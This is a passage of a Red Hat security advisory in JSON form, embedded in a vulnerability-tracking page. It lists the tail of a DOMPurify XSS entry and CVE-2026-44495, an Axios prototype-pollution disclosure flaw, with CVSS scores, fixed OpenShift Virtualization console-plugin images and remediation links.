"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27944"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization"
},
{
"cve": "CVE-2026-44495",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:00:53.999811+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487937"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure due to prototype pollution vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important vulnerability in Axios, a promise-based HTTP client, can lead to information disclosure, including credential theft and response hijacking, or denial of service. Exploitation requires a separate prototype pollution vulnerability in the same JavaScript process, allowing an attacker to control `Object.prototype.transformResponse`. Red Hat products using affected Axios versions are at risk if another component introduces such pollution.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "RHBZ#2487937",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"release_date": "2026-06-11T15:33:12.433000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-22T14:36:49+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27944"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure due to prototype pollution vulnerability"
}
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…